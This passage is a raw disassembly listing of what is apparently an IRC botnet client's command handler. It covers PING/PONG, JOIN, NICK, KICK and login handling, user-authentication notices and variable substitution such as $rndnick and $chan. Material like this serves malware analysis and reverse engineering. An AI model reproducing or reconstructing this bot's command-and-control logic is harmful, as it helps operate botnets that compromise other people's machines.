-0C10h var_C0C = dword ptr -0C0Ch var_C08 = dword ptr -0C08h var_C04 = byte ptr -0C04h var_B84 = dword ptr -0B84h var_B80 = byte ptr -0B80h var_B74 = byte ptr -0B74h var_B70 = byte ptr -0B70h var_B00 = byte ptr -0B00h var_A80 = dword ptr -0A80h var_A7C = dword ptr -0A7Ch var_A78 = dword ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A64 = byte ptr -0A64h var_A54 = dword ptr -0A54h var_A50 = byte ptr -0A50h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9D0 = byte ptr -9D0h var_998 = byte ptr -998h var_990 = byte ptr -990h var_918 = byte ptr -918h var_898 = dword ptr -898h var_894 = dword ptr -894h var_890 = dword ptr -890h var_88C = dword ptr -88Ch var_888 = dword ptr -888h var_884 = dword ptr -884h var_880 = dword ptr -880h var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_874 = dword ptr -874h var_870 = byte ptr -870h var_7F0 = byte ptr -7F0h var_770 = dword ptr -770h var_76C = dword ptr -76Ch var_768 = dword ptr -768h var_764 = dword ptr -764h var_760 = dword ptr -760h var_75C = dword ptr -75Ch var_758 = dword ptr -758h var_754 = dword ptr -754h var_750 = dword ptr -750h var_74C = byte ptr -74Ch var_67C = byte ptr -67Ch var_66C = byte ptr -66Ch var_648 = byte ptr -648h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_544 = dword ptr -544h var_540 = dword ptr -540h var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = byte ptr -4ACh var_44B = byte ptr -44Bh var_44A = byte ptr -44Ah var_448 = byte ptr -448h var_447 = byte ptr -447h var_444 = dword ptr -444h var_440 = byte ptr -440h var_43E = byte ptr -43Eh var_43C = byte ptr -43Ch var_43B = byte ptr -43Bh var_43A = byte ptr -43Ah var_439 = byte ptr -439h var_432 = byte ptr -432h var_410 = byte ptr -410h var_3F0 = dword ptr -3F0h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = dword ptr -3B4h var_3B0 = dword ptr -3B0h var_3AC = byte ptr -3ACh var_390 = dword ptr -390h var_38C = byte ptr -38Ch var_388 = dword ptr -388h var_384 = byte ptr -384h var_378 = dword ptr -378h var_374 = byte ptr -374h var_30C = byte ptr -30Ch var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = byte ptr -2E0h var_E0 = byte ptr -0E0h var_C8 = word ptr -0C8h var_C6 = word ptr -0C6h var_C4 = dword ptr -0C4h var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_64 = byte ptr -64h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 2178h call sub_412DD0 push ebx push esi push edi mov esi, 80h xor eax, eax push 1Bh push [ebp+arg_10] xor ebx, ebx mov ecx, esi lea edi, [ebp+var_2E0] rep stosd lea eax, [ebp+var_3AC] push eax mov [ebp+var_1C], 3 mov [ebp+var_18], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_AC], ebx call sub_412C40 add esp, 0Ch xor eax, eax cmp [ebp+arg_0], ebx jz loc_407B7D mov ecx, esi mov esi, 1FFh push esi push [ebp+arg_0] lea edi, [ebp+var_17E8] rep stosd lea eax, [ebp+var_17E8] push eax call sub_412C40 lea eax, [ebp+var_17E8] push offset asc_4246B4 ; " :" push eax call sub_413920 mov [ebp+var_14], eax push esi lea eax, [ebp+var_17E8] push eax lea eax, [ebp+var_1BE8] push eax call sub_412C40 mov esi, offset asc_41FA74 ; " " lea eax, [ebp+var_1BE8] push esi push eax call sub_413859 xor edi, edi add esp, 28h mov [ebp+var_A4], eax inc edi loc_4079BA: ; CODE XREF: sub_4078FA+D4j push esi push ebx call sub_413859 mov [ebp+edi*4+var_A4], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_4079BA mov ebx, [ebp+var_A4] xor esi, esi cmp ebx, esi jz loc_407B7B cmp [ebp+var_A0], esi jz loc_407B7B push 40h pop ecx xor eax, eax lea edi, [ebp+var_4AC] push 1Fh rep stosd pop edx loc_4079FC: ; CODE XREF: sub_4078FA+13Aj lea ecx, [ebp+edx*4+var_A4] mov eax, [ecx] cmp eax, esi jz short loc_407A33 cmp byte ptr [eax], 2Dh jnz short loc_407A36 cmp byte ptr [eax+2], 0 jnz short loc_407A36 movsx edi, byte ptr [eax+1] and byte ptr [eax], 0 and byte ptr [eax+1], 0 and byte ptr [eax+2], 0 mov [ecx], esi mov ebx, [ebp+var_A4] mov [ebp+edi+var_4AC], 1 loc_407A33: ; CODE XREF: sub_4078FA+10Dj dec edx jns short loc_4079FC loc_407A36: ; CODE XREF: sub_4078FA+112j ; sub_4078FA+118j cmp [ebp+var_439], 0 jz short loc_407A46 mov [ebp+var_C], 1 loc_407A46: ; CODE XREF: sub_4078FA+143j cmp [ebp+var_43E], 0 jz short loc_407A59 mov [ebp+var_C], esi mov [ebp+var_4], 1 loc_407A59: ; CODE XREF: sub_4078FA+153j cmp byte ptr [ebx], 0Ah jz short loc_407A93 push 7Fh lea eax, [ebp+var_C04] push ebx push eax call sub_412C40 push 17h lea eax, [ebx+1] push eax lea eax, [ebp+var_E0] push eax call sub_412C40 lea eax, [ebp+var_E0] push offset asc_4264C0 ; "!" push eax call sub_413859 add esp, 20h loc_407A93: ; CODE XREF: sub_4078FA+162j push 5 mov edi, ebx mov esi, offset aPing ; "PING" pop ecx xor eax, eax repe cmpsb jnz short loc_407AE1 push [ebp+var_A0] mov byte ptr [ebx+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_404592 mov eax, [ebp+arg_20] add esp, 0Ch cmp dword ptr [eax], 0 jnz loc_407B7B loc_407AC9: ; CODE XREF: sub_4078FA+3DAj push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_407AD4: ; CODE XREF: sub_4078FA+6D6j ; sub_4078FA+93Cj ... push [ebp+arg_4] call sub_404592 jmp loc_40BE11 ; --------------------------------------------------------------------------- loc_407AE1: ; CODE XREF: sub_4078FA+1A7j mov edx, [ebp+var_A0] push 4 pop eax mov edi, edx mov esi, offset a001 ; "001" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40D1A7 mov edi, edx mov esi, offset a005 ; "005" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40D1A7 mov edi, edx mov esi, offset a302 ; "302" mov ecx, eax xor ebx, ebx repe cmpsb jnz short loc_407B44 push offset a@ ; "@" push [ebp+var_98] call sub_413920 test eax, eax pop ecx pop ecx jz short loc_407B7B push 9Fh inc eax push eax push [ebp+arg_1C] jmp loc_407DE9 ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_4078FA+223j mov ecx, eax mov edi, edx mov esi, offset a433 ; "433" xor eax, eax repe cmpsb jnz short loc_407B83 push eax push dword_42AE68 push dword_42AE64 push [ebp+arg_10] call sub_40E7B0 push [ebp+arg_10] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_404592 add esp, 1Ch loc_407B7B: ; CODE XREF: sub_4078FA+E0j ; sub_4078FA+ECj ... xor eax, eax loc_407B7D: ; CODE XREF: sub_4078FA+55j inc eax loc_407B7E: ; CODE XREF: sub_4078FA+172Dj ; sub_4078FA+2E43j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407B83: ; CODE XREF: sub_4078FA+257j mov edi, [ebp+arg_18] push 2 pop edx loc_407B89: ; CODE XREF: sub_4078FA+2D0j lea eax, [ebp+var_C04] mov esi, edi loc_407B91: ; CODE XREF: sub_4078FA+2B3j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_407BB3 test cl, cl jz short loc_407BAF mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_407BB3 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_407B91 loc_407BAF: ; CODE XREF: sub_4078FA+2A1j xor eax, eax jmp short loc_407BB8 ; --------------------------------------------------------------------------- loc_407BB3: ; CODE XREF: sub_4078FA+29Dj ; sub_4078FA+2ABj sbb eax, eax sbb eax, 0FFFFFFFFh loc_407BB8: ; CODE XREF: sub_4078FA+2B7j test eax, eax jnz short loc_407BC3 mov [ebp+var_20], 1 loc_407BC3: ; CODE XREF: sub_4078FA+2C0j add edi, 80h dec edx jnz short loc_407B89 mov edi, [ebp+var_A0] push 5 mov esi, offset aKick ; "KICK" pop ecx xor eax, eax repe cmpsb jnz loc_407CD9 mov edi, [ebp+arg_18] push 2 pop ebx loc_407BEA: ; CODE XREF: sub_4078FA+396j cmp byte ptr [edi], 0 jz loc_407C89 push 7Fh lea eax, [ebp+var_C04] push edi push eax call sub_412C40 add esp, 0Ch cmp [ebp+var_98], 0 jz short loc_407C89 mov esi, [ebp+var_98] lea eax, [ebp+var_E0] loc_407C1A: ; CODE XREF: sub_4078FA+33Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_407C3C test cl, cl jz short loc_407C38 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_407C3C inc eax inc eax inc esi inc esi test cl, cl jnz short loc_407C1A loc_407C38: ; CODE XREF: sub_4078FA+32Aj xor eax, eax jmp short loc_407C41 ; --------------------------------------------------------------------------- loc_407C3C: ; CODE XREF: sub_4078FA+326j ; sub_4078FA+334j sbb eax, eax sbb eax, 0FFFFFFFFh loc_407C41: ; CODE XREF: sub_4078FA+340j test eax, eax jnz short loc_407C89 and [edi], al lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_2E0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_412BB5 lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_E0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_404592 lea eax, [ebp+var_2E0] push eax call sub_401C33 add esp, 20h loc_407C89: ; CODE XREF: sub_4078FA+2F3j ; sub_4078FA+312j ... add edi, 80h dec ebx jnz loc_407BEA mov esi, [ebp+var_98] mov eax, [ebp+arg_10] loc_407C9F: ; CODE XREF: sub_4078FA+3C1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_407CC1 test cl, cl jz short loc_407CBD mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_407CC1 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_407C9F loc_407CBD: ; CODE XREF: sub_4078FA+3AFj xor eax, eax jmp short loc_407CC6 ; --------------------------------------------------------------------------- loc_407CC1: ; CODE XREF: sub_4078FA+3ABj ; sub_4078FA+3B9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_407CC6: ; CODE XREF: sub_4078FA+3C5j test eax, eax jnz loc_407B7B mov eax, [ebp+arg_20] and dword ptr [eax], 0 jmp loc_407AC9 ; --------------------------------------------------------------------------- loc_407CD9: ; CODE XREF: sub_4078FA+2E4j mov edi, [ebp+var_A0] push 5 mov esi, offset aNick ; "NICK" pop ecx xor eax, eax repe cmpsb jnz loc_407EB9 mov eax, [ebp+var_9C] or [ebp+var_1C], 0FFFFFFFFh mov ebx, [ebp+arg_18] inc eax sub [ebp+var_1C], eax mov [ebp+arg_0], eax mov [ebp+var_20], 2 loc_407D0C: ; CODE XREF: sub_4078FA+4A3j lea eax, [ebp+var_C04] mov esi, ebx loc_407D14: ; CODE XREF: sub_4078FA+436j mov dl, [esi] mov cl, dl cmp dl, [eax] jnz short loc_407D36 test cl, cl jz short loc_407D32 mov dl, [esi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_407D36 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_407D14 loc_407D32: ; CODE XREF: sub_4078FA+424j xor eax, eax jmp short loc_407D3B ; --------------------------------------------------------------------------- loc_407D36: ; CODE XREF: sub_4078FA+420j ; sub_4078FA+42Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_407D3B: ; CODE XREF: sub_4078FA+43Aj test eax, eax jnz short loc_407D94 lea eax, [ebp+var_C04] push 21h push eax call sub_413F30 mov edi, eax test edi, edi pop ecx pop ecx jz short loc_407D94 mov eax, [ebp+var_1C] mov edx, [ebp+arg_0] lea ecx, [ebx+2] mov byte ptr [ebx], 3Ah lea esi, [eax+ecx] loc_407D64: ; CODE XREF: sub_4078FA+472j mov al, [edx] mov [esi+edx], al inc edx test al, al jnz short loc_407D64 mov eax, edi mov esi, edi loc_407D72: ; CODE XREF: sub_4078FA+47Dj mov dl, [eax] inc eax test dl, dl jnz short loc_407D72 sub eax, esi dec ecx loc_407D7C: ; CODE XREF: sub_4078FA+488j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_407D7C mov edi, ecx mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_407D94: ; CODE XREF: sub_4078FA+443j ; sub_4078FA+459j add ebx, 80h dec [ebp+var_20] jnz loc_407D0C cmp [ebp+arg_0], 0 jz loc_407B7B mov esi, [ebp+arg_10] lea eax, [ebp+var_E0] loc_407DB6: ; CODE XREF: sub_4078FA+4D8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_407DD8 test cl, cl jz short loc_407DD4 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_407DD8 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_407DB6 loc_407DD4: ; CODE XREF: sub_4078FA+4C6j xor eax, eax jmp short loc_407DDD ; --------------------------------------------------------------------------- loc_407DD8: ; CODE XREF: sub_4078FA+4C2j ; sub_4078FA+4D0j sbb eax, eax sbb eax, 0FFFFFFFFh loc_407DDD: ; CODE XREF: sub_4078FA+4DCj test eax, eax jnz short loc_407DF6 push 0Fh push [ebp+arg_0] push [ebp+arg_10] loc_407DE9: ; CODE XREF: sub_4078FA+245j call sub_412C40 add esp, 0Ch jmp loc_407B7B ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: sub_4078FA+4E5j mov edx, [ebp+arg_18] xor edi, edi loc_407DFB: ; CODE XREF: sub_4078FA+543j cmp byte ptr [edx], 0 jz short loc_407E33 lea eax, [ebp+var_C04] mov esi, edx loc_407E08: ; CODE XREF: sub_4078FA+52Aj mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_407E2A test cl, cl jz short loc_407E26 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_407E2A inc esi inc esi inc eax inc eax test cl, cl jnz short loc_407E08 loc_407E26: ; CODE XREF: sub_4078FA+518j xor eax, eax jmp short loc_407E2F ; --------------------------------------------------------------------------- loc_407E2A: ; CODE XREF: sub_4078FA+514j ; sub_4078FA+522j sbb eax, eax sbb eax, 0FFFFFFFFh loc_407E2F: ; CODE XREF: sub_4078FA+52Ej test eax, eax jz short loc_407E44 loc_407E33: ; CODE XREF: sub_4078FA+504j inc edi add edx, 80h cmp edi, 2 jl short loc_407DFB jmp loc_407B7B ; --------------------------------------------------------------------------- loc_407E44: ; CODE XREF: sub_4078FA+537j lea eax, [ebp+var_C04] push 21h push eax call sub_413F30 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_407B7B mov ecx, [ebp+arg_0] lea edx, [ecx+1] loc_407E64: ; CODE XREF: sub_4078FA+56Fj mov al, [ecx] inc ecx test al, al jnz short loc_407E64 sub ecx, edx mov edx, ebx lea esi, [edx+1] loc_407E72: ; CODE XREF: sub_4078FA+57Dj mov al, [edx] inc edx test al, al jnz short loc_407E72 sub edx, esi add edx, ecx cmp edx, 7Eh ja loc_407B7B push ebx push [ebp+arg_0] shl edi, 7 add edi, [ebp+arg_18] push offset aSS_2 ; ":%s%s" push edi call sub_412BB5 push 0 push 0 lea eax, [ebp+var_410] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4045DD add esp, 24h jmp loc_407B7B ; --------------------------------------------------------------------------- loc_407EB9: ; CODE XREF: sub_4078FA+3F1j mov edi, [ebp+var_A0] mov ebx, offset aPart ; "PART" push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_407EE3 mov edi, [ebp+var_A0] push 5 mov esi, offset aQuit ; "QUIT" pop ecx xor eax, eax repe cmpsb jnz short loc_407F33 loc_407EE3: ; CODE XREF: sub_4078FA+5D3j mov esi, [ebp+arg_18] xor eax, eax mov [ebp+var_10], esi loc_407EEB: ; CODE XREF: sub_4078FA+637j cmp byte ptr [esi], 0 jz short loc_407F21 mov edi, [ebp+var_A4] loc_407EF6: ; CODE XREF: sub_4078FA+618j mov dl, [esi] mov cl, dl cmp dl, [edi] jnz short loc_407F18 test cl, cl jz short loc_407F14 mov dl, [esi+1] mov cl, dl cmp dl, [edi+1] jnz short loc_407F18 inc esi inc esi inc edi inc edi test cl, cl jnz short loc_407EF6 loc_407F14: ; CODE XREF: sub_4078FA+606j xor ecx, ecx jmp short loc_407F1D ; --------------------------------------------------------------------------- loc_407F18: ; CODE XREF: sub_4078FA+602j ; sub_4078FA+610j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_407F1D: ; CODE XREF: sub_4078FA+61Cj test ecx, ecx jz short loc_407F76 loc_407F21: ; CODE XREF: sub_4078FA+5F4j mov esi, [ebp+var_10] inc eax add esi, 80h cmp eax, 2 mov [ebp+var_10], esi jl short loc_407EEB loc_407F33: ; CODE XREF: sub_4078FA+5E7j mov edi, [ebp+var_A0] push 4 mov esi, offset a353 ; "353" pop ecx xor eax, eax repe cmpsb jnz loc_407FF7 mov esi, [ebp+var_94] mov eax, [ebp+arg_8] loc_407F54: ; CODE XREF: sub_4078FA+676j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_407FD5 test cl, cl jz short loc_407F72 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_407FD5 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_407F54 loc_407F72: ; CODE XREF: sub_4078FA+664j xor eax, eax jmp short loc_407FDA ; --------------------------------------------------------------------------- loc_407F76: ; CODE XREF: sub_4078FA+625j mov ecx, [ebp+arg_18] shl eax, 7 and byte ptr [eax+ecx], 0 lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_2E0] push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out." push eax call sub_412BB5 lea eax, [ebp+var_2E0] push eax call sub_401C33 mov edi, [ebp+var_A0] add esp, 10h push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jnz loc_407B7B lea eax, [ebp+var_2E0] push eax mov eax, [ebp+var_A4] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_407AD4 ; --------------------------------------------------------------------------- loc_407FD5: ; CODE XREF: sub_4078FA+660j ; sub_4078FA+66Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_407FDA: ; CODE XREF: sub_4078FA+67Aj test eax, eax jnz short loc_407FE7 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_407FE7: ; CODE XREF: sub_4078FA+6E2j push [ebp+var_94] push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s." jmp loc_40D19B ; --------------------------------------------------------------------------- loc_407FF7: ; CODE XREF: sub_4078FA+64Bj mov edi, [ebp+var_A0] mov eax, offset aPrivmsg ; "PRIVMSG" push 8 xor edx, edx mov esi, eax pop ecx repe cmpsb mov edx, offset aNotice ; "NOTICE" jz short loc_408047 mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor ebx, ebx repe cmpsb jz short loc_408047 mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor ebx, ebx repe cmpsb jnz loc_40CFE2 cmp dword_42AE50, ebx jz loc_40CFE2 loc_408047: ; CODE XREF: sub_4078FA+716j ; sub_4078FA+727j mov edi, [ebp+var_A0] mov ebx, [ebp+var_1C] mov esi, eax push 8 pop ecx xor eax, eax repe cmpsb jz loc_40814C mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jz loc_40814C mov eax, [ebp+var_98] inc [ebp+var_94] mov [ebp+var_1C], 4 mov [ebp+var_9C], eax loc_40808D: ; CODE XREF: sub_4078FA+910j ; sub_4078FA+94Fj ... mov ebx, [ebp+var_1C] shl ebx, 2 lea eax, [ebp+ebx+var_A4] mov ecx, [eax] lea edx, [ecx+1] mov [eax], edx mov al, byte_42AE5C cmp [ecx], al mov [ebp+var_A8], edx jnz loc_407B7B push 6 mov edi, edx mov esi, offset aLogin ; "login" pop ecx xor eax, eax repe cmpsb jz loc_40CFEA push 2 mov edi, edx mov esi, offset dword_4263E8 pop ecx xor eax, eax repe cmpsb jz loc_40CFEA cmp [ebp+var_20], eax jnz short loc_4080F9 mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor eax, eax repe cmpsb jnz loc_40CFE2 loc_4080F9: ; CODE XREF: sub_4078FA+7E5j xor eax, eax cmp [ebp+arg_28], eax jnz loc_40CFE2 cmp dword_42B280, eax mov [ebp+var_10], eax jle loc_408417 mov [ebp+var_8], offset dword_479030 loc_40811A: ; CODE XREF: sub_4078FA+99Aj mov edi, [ebp+var_8] mov esi, edx loc_40811F: ; CODE XREF: sub_4078FA+849j mov cl, [edi] mov al, cl cmp cl, [esi] jnz loc_408278 test al, al jz short loc_408145 mov cl, [edi+1] mov al, cl cmp cl, [esi+1] jnz loc_408278 inc edi inc edi inc esi inc esi test al, al jnz short loc_40811F loc_408145: ; CODE XREF: sub_4078FA+833j xor eax, eax jmp loc_40827D ; --------------------------------------------------------------------------- loc_40814C: ; CODE XREF: sub_4078FA+75Fj ; sub_4078FA+774j mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jnz short loc_408164 mov [ebp+var_4], 1 loc_408164: ; CODE XREF: sub_4078FA+861j cmp [ebp+var_9C], 0 jz loc_407B7B push offset dword_4263E4 push [ebp+var_9C] call sub_413920 test eax, eax pop ecx pop ecx jz short loc_40818D cmp [ebp+var_4], 0 jz short loc_408199 loc_40818D: ; CODE XREF: sub_4078FA+88Bj lea eax, [ebp+var_E0] mov [ebp+var_9C], eax loc_408199: ; CODE XREF: sub_4078FA+891j cmp [ebp+var_98], 0 jz loc_407B7B inc [ebp+var_98] jz short loc_4081E8 cmp [ebp+arg_10], 0 jz short loc_4081E8 lea eax, [ebp+var_3AC] lea edx, [eax+1] loc_4081BD: ; CODE XREF: sub_4078FA+8C8j mov cl, [eax] inc eax test cl, cl jnz short loc_4081BD sub eax, edx push eax push [ebp+var_98] lea eax, [ebp+var_3AC] push eax call sub_414380 add esp, 0Ch mov ebx, eax neg ebx sbb ebx, ebx add ebx, 4 mov [ebp+var_1C], ebx loc_4081E8: ; CODE XREF: sub_4078FA+8B2j ; sub_4078FA+8B8j mov eax, ebx shl eax, 2 mov edx, [ebp+eax+var_A4] test edx, edx jz loc_407B7B push 0Ah mov edi, edx mov esi, offset dword_4263D8 pop ecx xor ebx, ebx repe cmpsb jnz loc_40808D mov esi, [ebp+var_9C] mov bl, [esi] cmp bl, 23h jz short loc_40823B mov ecx, dword_479BBC mov ecx, off_42AF40[ecx*4] cmp byte ptr [ecx], 0 jz short loc_40823B push ecx push esi push offset dword_4263BC jmp loc_407AD4 ; --------------------------------------------------------------------------- loc_40823B: ; CODE XREF: sub_4078FA+921j ; sub_4078FA+933j mov edi, edx push 6 mov esi, offset dword_4263B4 pop ecx xor edx, edx repe cmpsb jnz loc_40808D mov eax, [ebp+eax+var_A0] test eax, eax jz loc_40808D cmp bl, 23h jz loc_40808D push eax push [ebp+var_9C] push offset dword_42639C jmp loc_407AD4 ; --------------------------------------------------------------------------- loc_408278: ; CODE XREF: sub_4078FA+82Bj ; sub_4078FA+83Dj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40827D: ; CODE XREF: sub_4078FA+84Dj test eax, eax jz short loc_40829F inc [ebp+var_10] mov eax, [ebp+var_10] add [ebp+var_8], 0B8h cmp eax, dword_42B280 jl loc_40811A jmp loc_408417 ; --------------------------------------------------------------------------- loc_40829F: ; CODE XREF: sub_4078FA+985j push offset asc_4246B4 ; " :" push [ebp+arg_0] call sub_413920 test eax, eax pop ecx pop ecx jz loc_407B7B mov esi, [ebp+var_10] mov cl, byte_42AE5C imul esi, 0B8h mov [eax+2], cl mov cl, byte_42AE5C mov [eax+3], cl push 9Fh lea ecx, dword_479048[esi] push ecx add eax, 4 push eax call sub_412C40 lea eax, dword_479030[esi] lea edi, [ebp+ebx+var_64] add esp, 0Ch mov [ebp+var_10], 0Fh mov [ebp+var_AC], eax mov esi, edi loc_408302: ; CODE XREF: sub_4078FA+AAFj push [ebp+var_10] lea eax, [ebp+var_B8] push offset aD_1 ; "$%d-" push eax call sub_412BB5 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_413920 add esp, 14h test eax, eax jz short loc_40836E cmp dword ptr [esi], 0 jz short loc_408373 mov eax, [ebp+var_AC] lea edx, [eax+1] loc_40833A: ; CODE XREF: sub_4078FA+A45j mov cl, [eax] inc eax test cl, cl jnz short loc_40833A sub eax, edx add [ebp+var_14], eax jz short loc_40839F push dword ptr [esi-4] push [ebp+var_14] call sub_413920 test eax, eax pop ecx pop ecx jz short loc_40839F push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40556E add esp, 0Ch jmp short loc_40839F ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_4078FA+A30j cmp dword ptr [esi], 0 jnz short loc_40839F loc_408373: ; CODE XREF: sub_4078FA+A35j push 2 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_24] push eax call sub_412C40 and [ebp+var_22], 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40556E add esp, 18h loc_40839F: ; CODE XREF: sub_4078FA+A4Cj ; sub_4078FA+A5Dj ... dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg loc_408302 mov [ebp+var_10], 10h mov esi, edi loc_4083B8: ; CODE XREF: sub_4078FA+B0Bj push [ebp+var_10] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d" push eax call sub_412BB5 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_413920 add esp, 14h test eax, eax jz short loc_4083FB mov eax, [esi] test eax, eax jz short loc_4083FB push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40556E add esp, 0Ch loc_4083FB: ; CODE XREF: sub_4078FA+AE6j ; sub_4078FA+AECj dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg short loc_4083B8 mov edx, [ebp+var_A8] mov [ebp+var_AC], 1 loc_408417: ; CODE XREF: sub_4078FA+813j ; sub_4078FA+9A0j mov al, byte_42AE5C cmp [edx], al jz short loc_40842D cmp [ebp+var_AC], 0 jz loc_408609 loc_40842D: ; CODE XREF: sub_4078FA+B24j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_40556E lea eax, [ebp+var_E0] push eax push offset aUser_2 ; "$user" push edi call sub_40556E push [ebp+var_9C] push offset aChan ; "$chan" push edi call sub_40556E push 0 push 0 lea eax, [ebp+var_B8] push 2 push eax call sub_40E7B0 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_40556E add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40556E mov esi, offset aChr ; "$chr(" push esi push edi call sub_413920 add esp, 14h jmp loc_40858D ; --------------------------------------------------------------------------- loc_4084A4: ; CODE XREF: sub_4078FA+C95j push esi push [ebp+arg_0] call sub_413920 mov [ebp+var_A8], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_412C40 lea eax, [ebp+var_B8] push offset asc_42635C ; ")" push eax call sub_413859 add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_4084EB cmp [ebp+var_B8], 39h jle short loc_408501 loc_4084EB: ; CODE XREF: sub_4078FA+BE6j push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_412C40 add esp, 0Ch loc_408501: ; CODE XREF: sub_4078FA+BEFj lea eax, [ebp+var_B8] push eax call sub_412F42 test eax, eax pop ecx jle short loc_408524 lea eax, [ebp+var_B8] push eax call sub_412F42 pop ecx mov [ebp+var_24], al jmp short loc_408535 ; 